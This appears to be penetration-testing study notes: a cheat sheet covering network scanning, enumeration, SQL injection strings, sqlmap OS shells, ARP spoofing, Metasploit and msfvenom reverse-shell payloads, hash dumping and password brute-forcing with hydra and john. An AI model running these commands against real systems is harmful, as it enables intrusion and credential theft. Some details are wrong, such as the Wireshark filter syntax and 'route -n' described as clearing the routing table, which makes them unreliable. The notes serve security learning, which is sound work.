## Common Ports

### **TCP**

| **Port** | **Service** |
| --- | --- |
| 21 | FTP |
| 22 | SSH |
| 23 | Telnet |
| 25 | SMTP |
| 53 | DNS |
| 80 | HTTP |
| 110 | POP3 |
| 139 + 445 | SMB |
| 143 | IMAP |
| 443 | HTTPS |

### **UDP**

| **Port** | **Service** |
| --- | --- |
| 53 | DNS |
| 67 | DHCP |
| 68 | DHCP |
| 69 | TFTP |
| 161 | SNMP |

## **Other Useful Ports**

| **Port** | **Service** |
| --- | --- |
| 1433 | MS SQL Server |
| 3389 | RDP |
| 3306 | MySQL |

## **Scanning and Enumeration**

### Establish your IP with ifconfig

Use ifconfig to establish your IP. For example:

|  | $ ifconfig  tap0: flags-4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  inet 192.168.193.70 netmask 255.255.255.0 broadcast 0.0.0.0  inet6 fe80::c8f:29ff:feb4:5219 prefixlen 64 scopeid 0x20<link>  ether 0e:8f:29:b4:52:19 txqueuelen 1000 (Ethernet)  RX packets 14 bytes 1541 (1.5 KiB)  RX errors 0 dropped 4 overruns 0 frame 0  TX packets 9 bytes 754 (754.0 B)  TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 |
| --- | --- |

### Ping Sweeps using fping

|  | $ fping -a -g IPRANGE |
| --- | --- |

* -a only shows alive hosts
* -g performs a ping sweep instead of a normal ping

For example:

|  | $ fping -a -g 192.168.32.0/24  OR  $ fping -a -g 192.168.82.0 192.168.82.255 |
| --- | --- |

You can also suppress warnings by directing the process standard error to /dev/null:

|  | $ fping -a -g 192.168.32.0/24 2>/dev/null  OR  $ fping -a -g 192.168.82.0 192.168.82.255 2>/dev/null |
| --- | --- |

### Combining fping with nmap

Using fping to discover hosts and directing it to an output file ips.txt:

|  | $ fping -a -g IPRANGE 2>/dev/null **>** ips.txt |
| --- | --- |

Then, use nmap to conduct a ping scan:

|  | $ nmap -sn -iL ips.txt |
| --- | --- |

### Host Discovery with nmap

Perform a ping scan using -sn:

|  | $ nmap -sn IPRANGE |
| --- | --- |

For example:

|  | $ nmap -sn 200.200.0.0/16  $ nmap -sn 200.200.123.1-12  $ nmap -sn 172.16.12.**\***  $ nmap -sn 200.200.12-13.**\*** |
| --- | --- |

You can also load files from an input list using -iL:

|  | $ nmap -sn -iL FILENAME.EXTENSION |
| --- | --- |

For example, a file named hostlist.txt contains the following:

|  | 192.168.32.0/24  172.16.12.\*  200.200.123.1-12 |
| --- | --- |

The nmap command would then become:

|  | $ nmap -sn -iL hostlist.txt |
| --- | --- |

### Enumeration with nmap

For each host on a network, you can run the following to enumerate it:

|  | $ nmap -p- -Pn -sC -sV <IP address> |
| --- | --- |

* -p- scans all ports -p1-65535 o -p-65535
* -Pn assumes all ports are open
* -sC performs a script scan
* -sV performs a version detection scan

For example:

|  | # Full port enumeration outputted to file  $ nmap -p- -Pn -sC -sV 192.168.1.24 -oN initial\_scan  # First 1000 ports  $ nmap -p 1-1000 192.168.1.24  # Service detection scan on /24 network  $ nmap -sV 10.11.12.0/24  # TCP connect scan on two targets  $ nmap -sT 192.168.12.33,34  # Full scan **(**all ports, syn/script/version scan**)**  $ nmap -Pn -T4 --open -sS -sC -sV --min-rate-1000 --max-retries-3 -p- -oN output\_file 10.10.10.2 |
| --- | --- |

### Shares Enumeration

#### Using smbclient

List shares:

|  | $ smbclient -L //<IP ADDRESS>/ -N |
| --- | --- |

Mount share:

|  | $ smbclient //<IP ADDRESS>/<SHARE> |
| --- | --- |

#### Using enum4linux

|  | $ enum4linux -a <IP ADDRESS> |
| --- | --- |

#### Using nmblookup

|  | $ nmblookup -A <IP ADDRESS> |
| --- | --- |

#### Using nmap

|  | $ nmap --script smb-vuln**\*** -p <PORT> <IP ADDRESS> |
| --- | --- |

### Banner Grabbing

#### Using netcat

|  | $ nc -nv <IP Address> <Port> |
| --- | --- |

For example:

|  | $ nc -nv 192.168.1.24 80 |
| --- | --- |

#### Using openssl (HTTPS)

|  | $ openssl s\_client -connect <IP ADDRESS>:443 |
| --- | --- |

### Common Wireshark Filters

| **Description** | **Syntax** | **Example** |
| --- | --- | --- |
| Filter by IP | ip.add -- IP ADDRESS | ip.add -- 192.168.1.28 |
| Filter by Destination IP | ip.dest -- IP ADDRESS | ip.add -- 192.168.1.28 |
| Filter by Source IP | ip.src -- IP ADDRESS | ip.add -- 192.168.1.72 |
| Filter by Port | tcp.port -- PORT | tcp.port -- 80 |
| Filter by IP Address and Port | ip.addr -- IP ADDRESS and tcp.port -- PORT | ip.addr -- 10.9.0.1 and tcp.port -- 80 |
| Filter by Request (HTTP/HTTPS) | request.method -- METHOD | request.method -- "POST" or request.method -- "GET" |

### Web Enumeration

#### Directory Fuzzing with gobuster

|  | $ gobuster dir -u <URL> -w <WORDLIST> |
| --- | --- |

For example:

|  | # Directory scan against one target using medium wordlist  $ gobuster dir -u http://192.168.1.32 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  # Directory scan against specific directory using custom wordlist  $ gobuster dir -u http://192.168.5.24/confidential -w custom\_wordlist.txt  # Directory scan with authentication  $ gobuster dir -u http://192.168.4.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -U admin |
| --- | --- |

#### Directory Fuzzing with dirb

|  | $ dirb <URL> <WORDLIST> |
| --- | --- |

For example:

|  | # Directory scan against one target  $ dirb http://192.168.1.72/ /usr/share/wordlists/dirb/common.txt  # Directory scan with authentication  $ dirb http://192.168.1.85/ -u "username:password" /usr/share/wordlists/dirb/common.txt |
| --- | --- |

#### Enumeration with nikto

|  | $ nikto -h URL |
| --- | --- |

For example:

|  | $ nikto -h http://192.168.1.10/ |
| --- | --- |

#### whois

|  | $ whois <URL> |
| --- | --- |

## Routing and Pivoting

### Clear Routing Table

To completely clear the routing table, run the following:

|  | $ route -n |
| --- | --- |

Use this when setting up a route to make the destination and gateway more clear

### Show Routing Table

On Windows (and Linux), you can use arp -a:

|  | $ arp -a |
| --- | --- |

And, on Linux, you can use ip route:

|  | $ ip route |
| --- | --- |

### Setting up a Route with iproute

|  | $ ip route add <Network To Access> via <Gateway Address> |
| --- | --- |

For example:

|  | $ ip route add 192.168.1.0/24 via 10.10.22.1 |
| --- | --- |

This adds a route to the 192.168.1.0/24 network via the 10.10.22.1 router.

## Exploitation

### Web Exploitation

#### Manual SQL Injection (SQLi)

| **Description** | **Injection** |
| --- | --- |
| Basic union | xx' UNION SELECT null; -- - |
| Basic bypass | ' or 1-1; -- - |

#### Automated Exploitation with sqlmap

|  | $ sqlmap -u <URL> -p <PARAMETER> **[**options] |
| --- | --- |

For example:

|  | # Display all tables **in** the database  $ sqlmap -u http://10.10.0.1/index.php?id-47 --tables  # Enumerate the id parameter using the union technique  $ sqlmap -u 'http://192.168.1.72/index.php?id-10' -p id --technique-U  # Dump database contents  $ sqlmap -u 'http://192.162.5.51/index.php?id-203' --dump  # Prompt **for** interactive OS shell  $ sqlmap -u 'http://192.168.1.17/index.php?id-1' -os-shell |
| --- | --- |

#### Cross-Site Scripting (XSS)

Test inputs against XSS using:

| 1 | **<**script**>**alert("XSS")**<**/script> |
| --- | --- |

### Host Exploitation

#### arpspoof

First, tell your machine to forward packets to the destination host

|  | $ echo 1 **>** /proc/sys/net/ipv4/ip\_forward |
| --- | --- |

Then, run arpspoof:

|  | $ arpspoof -i <INTERFACE> -t <TARGET> -r <HOST> |
| --- | --- |

For example:

|  | $ arpspoof -i tap0 -t 10.10.5.1 -r 10.10.5.7 |
| --- | --- |

#### Basic Metasploit Usage

Launch Metasploit by running:

|  | $ msfconsole |
| --- | --- |

Basic commands:

|  | # Search **for** exploit  msf5 > search apache  # Use exploit **(**by number**)**  msf5 > use 1  # Use exploit **(**by name**)**  msf5 > use exploit/multi/handler  # Set parameter  msf5 > set payload windows/x64/meterpreter/reverse\_tcp  # Show parameters and other options  msf5 > show options |
| --- | --- |

For example, to configure a listener for a reverse shell:

|  | $ msfconsole  $ use exploit/multi/handler  $ set payload <REVERSE SHELL PAYLOAD>  $ set LHOST <LISTENER IP>  $ set LPORT <LISTENER PORT>  $ exploit |
| --- | --- |

#### Generate Payload Using msfvenom

Standard PHP reverse shell:

|  | $ msfvenom -p php/reverse\_php LHOST**=**<LISTENER IP> LPORT**=**<LISTENER PORT> -o <OUTPUT FILE NAME> |
| --- | --- |

Windows reverse shell:

|  | $ msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST**=**<LISTENER IP> LPORT**=**<LISTENER PORT> -f dll **>** shell.dll |
| --- | --- |

Linux reverse shell:

|  | $ msfvenom -p linux/x64/shell/reverse\_tcp LHOST**=**<LISTENER IP> LPORT**=**<LISTENER PORT> -f elf **>** shell.elf |
| --- | --- |

#### Meterpreter Shell Commands

|  | # background current session  meterpreter > background  # list current open sessions  meterpreter > session -l  # open session  meterpreter > session -i <SESSION NUMBER>  # privilege escalation **(**Windows**)**  meterpreter > getsystem  # list system information  meterpreter > sysinfo/route/getuid  # dump Windows hashes  meterpreter > hashdump  # upload file to system  meterpreter > download <FILE NAME> /path/to/directory |
| --- | --- |

#### Listener with netcat

|  | $ nc -nvlp PORT |
| --- | --- |

* n: IP addresses only (no DNS)
* v: verbose mode (-vv for very verbose)
* l: listen for incoming connections
* p: local port to listen on

For example:

|  | $ nc -nvlp 4444 |
| --- | --- |

#### Stabilise a Shell

Spawn an interactive terminal via Python:

|  | # First check **if** the system has Python  $ which python  /usr/bin/python  # Then, spawn a Python shell using pty  $ python -c "import pty; pty.spawn('/bin/bash')"  # Finally, export XTERM **(**allows you to clear terminal**)**  $ export TERM**=**xterm |
| --- | --- |

NOTE: this works the same with python3.

## Bruteforcing

### hydra

|  | $ hydra -L <LIST OF USERNAMES> -P <LIST OF PASSWORDS> <TARGET> <SERVICE> -s <PORT>  OR  $ hydra -l <USERNAME> -P <LIST OF PASSWORDS> -t <TARGET> <SERVICE> -s <PORT> |
| --- | --- |

|  | # Bruteforce SSH  $ hydra -L users.txt -P pass.txt 10.10.10.2 ssh -s 22  $ hydra -L users.txt -P pass.txt ssh://10.10.10.2  # Bruteforce FTP  $ hydra -l admin -P passwords.txt 192.168.1.4 ftp -s 21  $ hydra -l admin -P passwords.txt ftp://192.168.1.4 |
| --- | --- |

### John The Ripper (john)

First, prepare a file for john to crack:

|  | $ unshadow passwd shadow **>** hash |
| --- | --- |

Crack the passwords:

|  | $ john --wordlist**=**/usr/share/wordlists/rockyou.txt hash |
| --- | --- |

**OJO Importante!!**

En ocasiones podemos tener problemas a la hora de importar cualquier herramienta o proyecto de GitHub con lo que tendremos que manipular la entrada a consola para no tener esos problemas, ej:

git clone <https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick>

En este caso con la manera tradicional de clonar este proyecto nos daria error, por lo que vamos a usar la manera alternativa:

svn checkout [https://github.com/vulhub/vulhub/trunk/imagemagick/imagetragick](https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick)

Como podemos ver sustituimos:

**git clone / svn checkout**

/././**tree/master**/././ **|** /././**trunk**/././

Con esto evitariamos tener ningun tipo de problema